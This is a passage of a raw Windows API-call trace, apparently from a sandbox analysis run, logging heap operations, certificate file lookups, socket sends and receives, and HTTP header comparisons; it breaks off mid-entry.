[0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357e8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bf0 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d358f0 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36168 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad58 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35b90 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36348 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35920 [0119.389] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d356b0, Size=0x20) returned 0x2d4a650 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356b0 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b48 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361a8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d362a8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d68 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e40 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351d0 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36008 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac68 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d36108 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6d) returned 0x2d28e88 [0119.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aad8 | out: hHeap=0x2a0000) returned 1 [0119.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35650 | out: hHeap=0x2a0000) returned 1 [0119.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acf8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360e8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a70 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a40 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab08 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354e8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ad68 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35758 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e58 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36308 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b90 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d358f0 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ad58 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35bf0 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357e8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fe8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b48 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aaf8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361a8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356b0 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35920 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351d0 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac68 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35158 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e40 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35d68 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a650 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a28 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e68 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350c8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34c90 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359b0 | out: hHeap=0x2a0000) returned 1 [0119.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.391] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e88 | out: hHeap=0x2a0000) returned 1 [0119.391] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0119.391] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a948 | out: hHeap=0x2a0000) returned 1 [0119.391] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362e8 | out: hHeap=0x2a0000) returned 1 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362e8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2d4ac68 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aaf8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35de8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ad58 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x41) returned 0x2d46038 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e88 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d359b0 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c90 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad68 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a948 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d350c8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a28 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab08 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d35e68 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e40 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fa8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2d56280 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351d0 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35920 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35d68 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aad8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d4ab78 [0119.391] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34e88, Size=0x20) returned 0x2d4a650 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e88 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356b0 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36008 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ace8 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d36108 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35b48 [0119.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357e8 [0119.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36348 [0119.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0119.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x73) returned 0x2d5b100 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a650, Size=0x40) returned 0x2d36488 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35818, Size=0x20) returned 0x2d4a808 [0119.392] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35bd8 | out: hHeap=0x2a0000) returned 1 [0119.392] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e10 | out: hHeap=0x2a0000) returned 1 [0119.392] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0119.392] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34e10, Size=0x20) returned 0x2d4a920 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34e10, Size=0x20) returned 0x2d4a7b8 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35b60, Size=0x20) returned 0x2d4a808 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35170, Size=0x20) returned 0x2d4a7b8 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35170, Size=0x20) returned 0x2d4a240 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35b60, Size=0x20) returned 0x2d4a808 [0119.392] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35800, Size=0x10) returned 0x2d355c0 [0119.392] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f41c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.392] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", lpFindFileData=0x18f55c | out: lpFindFileData=0x18f55c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11089ae1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x18f601, nFileSizeHigh=0x18f87c, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0xf, cFileName="tö\x18", cAlternateFileName="")) returned 0xffffffff [0119.393] GetLastError () returned 0x3 [0119.393] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", nBufferLength=0x104, lpBuffer=0x18f69c, lpFilePart=0x18f4f4 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\653b494a.0", lpFilePart=0x18f4f4*="653b494a.0") returned 0x21 [0119.393] GetLastError () returned 0x3 [0119.393] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f414 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.393] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", lpFindFileData=0x18f554 | out: lpFindFileData=0x18f554*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d510f0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0xf, cFileName="lö\x18", cAlternateFileName="")) returned 0xffffffff [0119.393] GetLastError () returned 0x3 [0119.393] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", nBufferLength=0x104, lpBuffer=0x18f694, lpFilePart=0x18f4ec | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\bd1c2838.0", lpFilePart=0x18f4ec*="bd1c2838.0") returned 0x21 [0119.393] GetLastError () returned 0x3 [0119.393] WSASetLastError (iError=0) [0119.393] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.393] SetLastError (dwErrCode=0x0) [0119.393] WSASetLastError (iError=0) [0119.393] recv (in: s=0x12c, buf=0x2d51900, len=148, flags=0 | out: buf=0x2d51900*) returned 148 [0119.394] WSASetLastError (iError=0) [0119.394] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.394] SetLastError (dwErrCode=0x0) [0119.394] WSASetLastError (iError=0) [0119.394] recv (in: s=0x12c, buf=0x2d51900, len=4, flags=0 | out: buf=0x2d51900*) returned 4 [0119.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f620 | out: lpSystemTimeAsFileTime=0x18f620*(dwLowDateTime=0x981164a0, dwHighDateTime=0x1d60051)) [0119.398] WSASetLastError (iError=0) [0119.398] send (s=0x12c, buf=0x2d571e8*, len=126, flags=0) returned 126 [0119.398] SetLastError (dwErrCode=0x0) [0119.398] WSASetLastError (iError=0) [0119.398] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.415] SetLastError (dwErrCode=0x0) [0119.415] WSASetLastError (iError=0) [0119.415] recv (in: s=0x12c, buf=0x2d51900, len=186, flags=0 | out: buf=0x2d51900*) returned 186 [0119.415] WSASetLastError (iError=0) [0119.415] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.415] SetLastError (dwErrCode=0x0) [0119.415] WSASetLastError (iError=0) [0119.415] recv (in: s=0x12c, buf=0x2d51900, len=1, flags=0 | out: buf=0x2d51900*) returned 1 [0119.416] WSASetLastError (iError=0) [0119.416] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.416] SetLastError (dwErrCode=0x0) [0119.416] WSASetLastError (iError=0) [0119.416] recv (in: s=0x12c, buf=0x2d51900, len=40, flags=0 | out: buf=0x2d51900*) returned 40 [0119.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0119.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0119.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0119.416] WSASetLastError (iError=0) [0119.416] send (s=0x12c, buf=0x2d409d3*, len=226, flags=0) returned 226 [0119.417] GetTickCount64 () returned 0x1150944 [0119.417] select (in: nfds=0, readfds=0x18f9f4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f9f4, writefds=0x0, exceptfds=0x0) returned 1 [0119.449] SetLastError (dwErrCode=0x0) [0119.449] SetLastError (dwErrCode=0x0) [0119.449] WSASetLastError (iError=0) [0119.449] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.450] SetLastError (dwErrCode=0x0) [0119.450] WSASetLastError (iError=0) [0119.450] recv (in: s=0x12c, buf=0x2d51900, len=626, flags=0 | out: buf=0x2d51900*) returned 626 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] GetTickCount64 () returned 0x1150964 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Cache-control", cchCount2=13) returned 3 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Cache-control", cchCount2=13) returned 3 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Cache-control", cchCount2=13) returned 1 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Cache-control", cchCount2=13) returned 2 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Connection", cchCount2=10) returned 3 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Connection", cchCount2=10) returned 3 [0119.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Connection", cchCount2=10) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Connection", cchCount2=10) returned 2 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Version", cchCount2=15) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Version", cchCount2=15) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Version", cchCount2=15) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Version", cchCount2=15) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Version", cchCount2=15) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", 